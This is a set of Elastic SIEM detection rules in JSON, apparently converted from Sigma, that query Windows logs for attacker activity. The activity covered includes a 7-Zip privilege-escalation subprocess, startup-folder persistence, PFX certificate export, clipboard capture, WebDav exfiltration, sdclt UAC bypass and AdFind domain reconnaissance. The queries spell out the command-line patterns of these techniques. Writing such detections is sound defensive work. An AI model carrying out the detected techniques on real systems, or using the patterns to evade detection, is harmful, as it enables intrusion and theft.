Detection Rules

{"description": "7-Zip through 21.07 on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e2966944-d9b9-b53b-61be-996d11685435", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious 7zip Subprocess", "query": "((process.executable:*\\\\cmd.exe AND process.parent.executable:*\\\\7zFM.exe) AND (NOT ((process.command_line:*\\ \\/c\\ *) OR (NOT _exists_:process.command_line))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.", "enabled": false, "false_positives": ["This rule is to explore new applications on an endpoint. False positives depends on the organization.", "Newly setup system.", "Legitimate installation of new application."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e878ebf6-87da-32ea-35a3-7cdd97f7b498", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "New Application in AppCompat", "query": "(winlog.event_data.EventType:\"Setvalue\" AND winlog.event_data.TargetObject:*\\\\AppCompatFlags\\\\Compatibility\\ Assistant\\\\Store\\\\*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.", "enabled": false, "false_positives": ["An FP could be caused by legitimate application writing shortcuts for example. This folder should always be inspected to make sure that all the files in there are legitimate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8e5f0a87-db26-0565-c8dd-2bb21ae213c2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Startup Folder File Write", "query": "(file.path.text:*\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\StartUp* AND (NOT (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\wuauclt.exe\" OR file.path.text:C\\:\\\\$WINDOWS.\\~BT\\\\NewOS\\\\*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.", "enabled": false, "false_positives": ["System administrators managing certififcates."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "286a8d22-d241-e293-e36b-e17af327cb24", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PFX File Creation", "query": "(file.path:*.pfx AND (NOT ((file.path:*\\\\Templates\\\\Windows\\\\Windows_TemporaryKey.pfx* AND file.path:*\\\\CMake\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection for processes loading System.Drawing.ni.dll. This could be an indicator of potential Screen Capture.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "953ab693-f7f9-b1f7-216a-53e977e0df36", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious System.Drawing Load", "query": "(file.path:*\\\\System.Drawing.ni.dll AND (NOT ((process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\Microsoft.NET\\\\* OR C\\:\\\\Windows\\\\ImmersiveControlPanel\\\\*)) OR (process.executable:(C\\:\\\\Users\\\\*\\\\AppData\\\\Local\\\\NhNotifSys\\\\nahimic\\\\nahimicNotifSys.exe OR C\\:\\\\Users\\\\*\\\\GitHubDesktop\\\\Update.exe OR \"C\\:\\\\Windows\\\\System32\\\\NhNotifSys.exe\")))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1113"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1113", "name": "Screen Capture", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "229e3860-1c84-7765-2991-aa7df491d81b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "High Integrity Sdclt Process", "query": "(process.executable:*sdclt.exe AND IntegrityLevel:\"High\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6fdff597-19e4-3ab4-94a3-4c0c3ebccea9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Sdclt Child Processes", "query": "process.parent.executable:*\\\\sdclt.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "112fc939-6ff4-11fb-7b1b-2e77d8605f37", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Decompress Commands", "query": "(powershell.command.invocation_details:*Expand\\-Archive* OR winlog.event_data.Payload:*Expand\\-Archive*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection for svchost.exe spawning rundll32.exe with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server).", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "725962c6-9871-829d-9dd7-8d7da4396b66", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious WebDav Client Execution", "query": "((process.executable:*\\\\rundll32.exe OR winlog.event_data.OriginalFileName:\"RUNDLL32.EXE\") AND process.command_line:*C\\:\\\\windows\\\\system32\\\\davclnt.dll,DavSetCookie*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "91fe9a49-cebd-b515-1598-7b6b5d7fd09b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Get Clipboard", "query": "((powershell.command.invocation_details:*Get\\-Clipboard*) OR (winlog.event_data.Payload:*Get\\-Clipboard*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1115"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1115", "name": "Clipboard Data", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "2d2dc5d2-9349-7be3-e262-9a237599ea23", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "WebDav Put Request", "query": "(event.dataset:\"http\" AND (user_agent.original:*WebDAV* AND http.request.method.text:\"PUT\") AND (NOT (destination.ip:(\"192.168.0.0\\/16\" OR \"172.16.0.0\\/12\" OR \"10.0.0.0\\/8\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection to trigger for processes removing .*\\shell\\open\\command registry keys. Registry keys that might have been used for COM hijacking activities.", "enabled": false, "false_positives": ["Legitimate software (un)installations are known to cause some false positives. Please add them as a filter when encountered"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9d18f18d-13c3-6940-0816-99a536784740", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Removal of Potential COM Hijacking Registry Keys", "query": "((winlog.event_data.EventType:\"DeleteKey\" AND winlog.event_data.TargetObject:*\\\\shell\\\\open\\\\command) AND (NOT ((process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\") OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable.text:*\\\\OfficeClickToRun.exe) OR (process.executable.text:\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\") OR (process.executable.text:*\\\\Dropbox.exe AND winlog.event_data.TargetObject:*\\\\Dropbox.*) OR (process.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\Wireshark_uninstaller.exe AND winlog.event_data.TargetObject:*\\\\wireshark\\-capture\\-file\\\\*) OR (process.executable.text:(C\\:\\\\Program\\ Files\\\\Opera\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Opera\\\\*) AND process.executable.text:*\\\\installer.exe) OR (process.executable.text:*peazip* AND winlog.event_data.TargetObject:*\\\\PeaZip.*) OR (process.executable.text:*\\\\Everything.exe AND winlog.event_data.TargetObject:*\\\\Everything.*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection to trigger for the creation or modification of .*\\Software\\Sysinternals\\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "63dfd541-cb56-ea8f-cbee-e2603990183b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Sysinternals SDelete Registry Keys", "query": "(winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Sysinternals\\\\SDelete*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A General detection to trigger for the deletion of files by Sysinternals SDelete. It looks for the common name pattern used to rename files.", "enabled": false, "false_positives": ["Legitime usage of SDelete"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ebdcab76-5eae-041d-02d3-44b1313b09ed", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Sysinternals SDelete File Deletion", "query": "(file.path.text:(*.AAA OR *.ZZZ) AND (NOT ((file.path.text:*\\\\Wireshark\\\\radius\\\\dictionary.alcatel\\-lucent.aaa))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "A login from a public IP can indicate a misconfigured firewall or network boundary.", "author": ["NVISO"], "enabled": false, "false_positives": ["Legitimate logon attempts over the internet", "IPv4-to-IPv6 mapped IPs"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a84ed766-08c8-991d-afd9-4c753ae79bcc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Failed Logon From Public IP", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4625\" AND (NOT ((source.ip:*\\-*) OR (source.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 127.* OR 169.254.*)) OR (((source.ip:\"::1\") OR (source.ip:(fe80\\:\\:* OR fc00\\:\\:*)))))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1078", "T1133", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}, {"id": "T1133", "name": "External Remote Services", "reference": ""}, {"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}, {"id": "T1133", "name": "External Remote Services", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "A office file with macro is created from a commandline or a script", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5a25ccd9-2ac8-0818-2755-ddd2ffd3bda6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Dump Office Macro Files from Commandline", "query": "(file.path:(*.docm OR *.dotm OR *.xlsm OR *.xltm OR *.potm OR *.pptm OR *.pptx) AND (process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe) OR process.parent.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "A rule has been deleted in the Windows Firewall exception list.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f2f35b28-9d08-1be2-62f0-03e4106bc327", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Delete Rule in Windows Firewall with Advanced Security", "query": "(winlog.event_id:(\"2006\" OR \"2033\") AND (NOT ((ModifyingApplication:\"C\\:\\\\Windows\\\\System32\\\\svchost.exe\" OR ModifyingApplication:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (ModifyingApplication:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* AND ModifyingApplication:*\\\\MsMpEng.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["(v=ws.10)"], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "A rule has been modified in the Windows Firewall exception list", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5d379852-df8c-fda0-6450-9f7748f461ee", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Added Rule in Windows Firewall with Advanced Security", "query": "(winlog.event_id:\"2004\" AND (NOT ((Action:\"2\") OR (ApplicationPath:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*) OR ModifyingApplication:\"C\\:\\\\Windows\\\\System32\\\\oobe\\\\Setup.exe\" OR ModifyingApplication:C\\:\\\\Windows\\\\WinSxS\\\\* OR ModifyingApplication:(\"C\\:\\\\Windows\\\\SysWOW64\\\\msiexec.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\svchost.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\dllhost.exe\" OR \"C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\MsMpEng.exe\")) OR (ModifyingApplication:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\ Defender\\\\Platform\\\\* AND ModifyingApplication:*\\\\MsMpEng.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["(v=ws.10)"], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "A rule has been modified in the Windows Firewall exception list", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8dc80d6b-656f-8dbf-3d64-96571c426b39", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Modified Rule in Windows Firewall with Advanced Security", "query": "(winlog.event_id:\"2005\" AND (NOT ((ModifyingApplication:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\*)))))", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["(v=ws.10)"], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d77e1d8a-ad72-c00b-c2e0-a9288e04e164", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Unidentified Attacker November 2018", "query": "file.path:*ds7002.lnk*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@41thexplorer", "Microsoft Defender ATP"], "license": ""}
{"description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d77e1d8a-ad72-c00b-c2e0-a9288e04e164", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Unidentified Attacker November 2018", "query": "(process.command_line:*cyzfc.dat,* AND process.command_line:*PointFunctionCall)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@41thexplorer", "Microsoft Defender ATP"], "license": ""}
{"description": "A symbolic link is a type of file that contains a reference to another file.\nThis is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt\n", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "93c2a964-b47b-78a5-d623-3fe04304cb17", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Fsutil Behavior Set SymlinkEvaluation", "query": "(process.executable:*\\\\fsutil.exe AND process.command_line:*behavior\\ * AND process.command_line:*set\\ * AND process.command_line:*SymlinkEvaluation*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Accesschk is an access and privilege audit tool developed by SysInternal and often being used by attacker to verify privileges", "enabled": false, "false_positives": ["System administrator Usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "404a8ec5-fece-fab2-bd63-98c27b5d99ea", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Accesschk Usage To Check Privileges", "query": "((Product:*AccessChk OR winlog.event_data.Description:*Reports\\ effective\\ permissions* OR process.executable.text:(*\\\\accesschk.exe OR *\\\\accesschk64.exe) OR winlog.event_data.OriginalFileName:\"accesschk.exe\") AND process.command_line.text:(*uwcqv\\ * OR *kwsu\\ * OR *qwsu\\ * OR *uwdqs\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov (idea)", "Mangatas Tondang (rule)", "oscd.community", "Nasreddine Bencherchali (modified)"], "license": ""}
{"description": "Addition of domains is seldom and should be verified for legitimacy.", "enabled": false, "false_positives": ["Legitimate extension of domain structure"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a4ba7d34-5c63-cc18-9629-add19e717980", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Addition of Domain Trusts", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4706\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", "enabled": false, "false_positives": ["Admin activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1fb8a604-bb6a-dc8e-8028-e7a434122dce", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AdFind Usage Detection", "query": "process.command_line:(*domainlist* OR *trustdmp* OR *dcmodes* OR *adinfo* OR *\\ dclist\\ * OR *computer_pwdnotreqd* OR *objectcategory\\=* OR *\\-subnets\\ \\-f* OR *name\\=\\\"Domain\\ Admins\\\"* OR *\\-sc\\ u\\:* OR *domainncs* OR *dompol* OR *\\ oudmp\\ * OR *subnetdmp* OR *gpodmp* OR *fspdmp* OR *users_noexpire* OR *computers_active*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1018", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Janantha Marasinghe ()"], "license": ""}
{"description": "AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", "enabled": false, "false_positives": ["Legitimate admin activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1fb8a604-bb6a-dc8e-8028-e7a434122dce", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "AdFind Usage Detection", "query": "process.command_line.text:(*domainlist* OR *trustdmp* OR *dcmodes* OR *adinfo* OR *\\ dclist\\ * OR *computer_pwdnotreqd* OR *objectcategory\\=* OR *\\-subnets\\ \\-f* OR *name\\=\\\"Domain\\ Admins\\\"* OR *\\-sc\\ u\\:* OR *domainncs* OR *dompol* OR *\\ oudmp\\ * OR *subnetdmp* OR *gpodmp* OR *fspdmp* OR *users_noexpire* OR *computers_active* OR *computers_pwdnotreqd*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1018", "T1069", "T1087", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}, {"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Janantha Marasinghe ()", "FPT.EagleEye Team", "omkar72", "oscd.community"], "license": ""}
